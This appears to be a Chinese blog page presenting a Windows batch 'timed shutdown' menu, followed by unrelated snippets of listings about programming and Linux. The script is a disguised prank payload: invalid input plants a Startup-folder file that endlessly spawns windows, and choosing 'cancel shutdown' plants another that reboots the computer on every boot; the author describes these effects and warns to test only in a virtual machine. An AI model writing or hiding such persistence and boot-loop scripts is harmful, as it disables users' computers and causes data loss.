    :meau				#批处理标号,一般与goto配合使用,来实现跳转执行功能
    cls					#清屏
    echo =====================
    echo	  meau 
    echo   1,定时关机
    echo   2,取消关机
    echo   3,退出程序
    echo =====================
    
    set /p num=请选择服务(输入数字):
    if "%num%"=="1" goto shutdown
    if "%num%"=="2" goto noshutdown
    if "%num%"=="3" goto exit
    echo 好家伙,有种你关机试试
    echo @echo off >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
    echo color 0a >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
    echo :a >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
    echo echo 你完啦~ >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
    echo start >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
    echo goto a >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
    pause
    goto meau
    
    :shutdown
    set /p times=请设置关机时间(单位是秒/s):
    shutdown /s /f /t %times%
    goto meau
    
    :noshutdown
    shutdown /a
    echo 取消关机成功
    echo shutdown /r /f /t 1 >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\haha.bat"
    pause
    goto meau
    
    :exit
    exit
    
    #程序的部分注释
    echo 具有向指定路径写入文件的功能, >> 向文件追加内容 ; > 覆盖文件内容/原有文件内容删除,新的内容写入
    
    **程序运行结果:输入除了1/2/3以外的字符,用户的启动目录中会多出一个heihei.bat文件,并且在下次开机之后电脑疯狂弹窗,如果用户选了 2,则在启动目录中多出一个haha.bat文件,下次电脑开机之后,一直重启;
    

    ****最后再次提示,实例程序不要在真实环境中运行,虚拟机运行在必要时保存快照!!!!
    ****屏幕及颜色设置参见大佬博客:https://blog.csdn.net/tp7309/article/details/53450131

    展开全文
  • 程序(program)是为实现特定目标或解决特定问题而用计算机语言编写的命令序列的集合。  程序(港台称之为程式...这种情况下,个计算机程序是指个单独的可执行的映射,而不是当前这个计算机上运行的全部程序。
  • c语言编写单片机技巧

    2009-04-19 12:15:17
    虽然C语言是最普遍的种高级语言,但不同的MCU厂家其C语言编译系统是有所差别的,特别是一些特殊功能模块的操作。如果对这些特性不了解,那调试起来就有的烦了,到头来可能还不如用汇编来的快。 5. 教学中...
  • 下面的是某一本书我看到的代码 服务器端代码如下: // easyDoor.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include #include #include #pragma ...
  • 计算机控制实验

    2011-12-03 10:59:54
    组态概念出现之前,要实现某一任务,都是通过编写程序来实现的。编写程序不但工作量大、周期长,而且容易犯错误,不能保证工期。组态软件的出现,解决了这个问题。对于过去需要几个月的工作,通过组态几天就可以...
  • VF笔记计算机二级

    2012-12-02 18:23:05
    2、数据:存储在某一种媒体能够被识别的物理符号 分为:文本数据 和 多媒体数据 计算机只能识别机器语言=====二进制 计算机处理数据最小的单位:字节 一个数字、字母=====1个字节 一个汉子==========2个字节
  • linux不仅可以长时间的运行我们编写的程序代码,还可以安装各种计算机硬件设备中,如手机、路由器等,Android程序最底层就是运行linux系统的。、Linux的目录结构/的下级目录bin (binaries)存放二进制可执行...
  • 6� 每一个基本操作称为一条指令�而解算某一问题的一串指令序列�称为程序。 7� 取指周期中从内存读出的信息流是指令流�而执行器周期中从内存读出的信息流是指 令流。 8� 半导体存储器称为内存�存储容量更大...
  • 您的提交将同一台计算机上评分,因此,只要您的实现对其他所有内容都是正确的,这些值就将保持一致。 对于所有标记(线性,二次和双精度),都会发生这种情况。 正确...
  • 可以internet上通过网页浏览信息,如新闻,图片等,还可发布信息,如招聘信息等,网页是某个地方某一计算机上的一个文件。 网页主要由3部分组成:结构,表现,行为。 静态网页的特点是不论何时何地浏览这个...
  • 树中,以结点的个子结点为根构成的树称为该结点的棵子树。 2. 二叉树基本性质 二叉树具有以下几个性质: 性质1:二叉树的第k层,最多有2k-1(k≥1)个结点。 性质2:深度为m的二叉树最多有2m-1个结点。 ...
  • 1、根据所设计的指令系统,编写一段程序,程序至少要包括六条不同类型的指令, 2、将所设计的程序THTJZ-2型软件中运行调试,并写出测试思路和具体流程。 3、撰写设计报告。 四、设计环境 THTJZ-2型计算机组成原理...
  • 问题:软件的运行环境指的是...操作系统出来之前,一般的软件只是针对于某一台电脑而编写的,因为别的电脑可能不能运行。基于这些问题,此时,我们伟大的操作系统就出现了,微软出现 ms-dos 操作系统,最开始的
  • linux不仅可以长时间的运行我们编写的程序代码,还可以安装各种计算机硬件设备中,如手机、路由器等,Android程序最底层就是运行linux系统的。、linux的目录结构/ 下级目录结构bin (binaries)存放二进制可...
  • 作者:longctwhttp://blog.csdn.net/xulong_08/articleLinux...linux不仅可以长时间的运行我们编写的程序代码,还可以安装各种计算机硬件设备中,如手机、路由器等,Android程序最底层就是运行linux系统的。...
  • 一般来说同步反映了进程之间的协作性质,往往指有几个进程共同完成个任务时时间次序的某种限制,进程相互之间各自的存在及作用,通过交换信息完成通信。如接力比赛中组队员使用接力棒等。 进程互斥...
  • linux不仅可以长时间的运行我们编写的程序代码,还可以安装各种计算机硬件设备中,如手机、路由器等,Android程序最底层就是运行linux系统的。、linux的目录结构/ 下级目录结构bin (binaries)存放二进制可...
  • 通常,离散时间信号用x(n)表示,其幅度可以在某一范围内连续取值。由于信号处理所使用的设备和装置主要是计算机或专用的信号处理芯片,均以有限的位数来表示信号的幅度,因此,信号的幅度也必须“量化”,即取离散值...
  • 计算机程序从经验E中学习,解决某一任务T,进行某一性能度量P,通过P测定T的表现因经验E而提高。 eg.当你给你点邮件标注哪些是垃圾邮件哪些不是后,你的邮件过滤器面对新邮件时将其进行是否为垃圾邮件分类是...
  • 下面是段介绍: Python是种跨平台的计算机程序设计语言。 是个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的...
  • (文末附资源免费获取方式)0....下面是段介绍:Python是种跨平台的计算机程序设计语言。 是个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。最初被设计用于编写自动化脚本(shel...
  • 什么是AOP? AOP:(Aspect Oriented Progarming)面向切面编程 OOP:(Object Oriented Progarming)面向对象编程 **面向切面编程:**基于OOP基础之的编程 指的是代码运行期间,将段代码...直接编写在方法内部,修改...
  • 0、存储器层次结构的主要思想 存储器系统是一个具有不同容量、成本...又由于编写良好的程序具有局部性的特点,它更倾向于频繁访问某一层次的存储设备。所以与CPU直接访问DRAM主存相比,利用存储器层次化的系统(少
  • HTML快速上手:

    2020-12-18 20:26:29
    第一章:基础 ...​ 编写HTML的时候要注意,他的后缀名为 " .html " ...HTML5的平台,视频,音频,图像,动画及同计算机的交互都被标准化 W3C的标准 W3C标准不是某一个标准,而是一个系列的标准集合,一个
  • *进程的概念:进程(Process)是计算机中的程序关于数据集合次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础。早期面向进程设计的计算机结构中,进程是程序的基本执行实体;当代...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 435
精华内容 174
关键字:

在某一计算机上编写的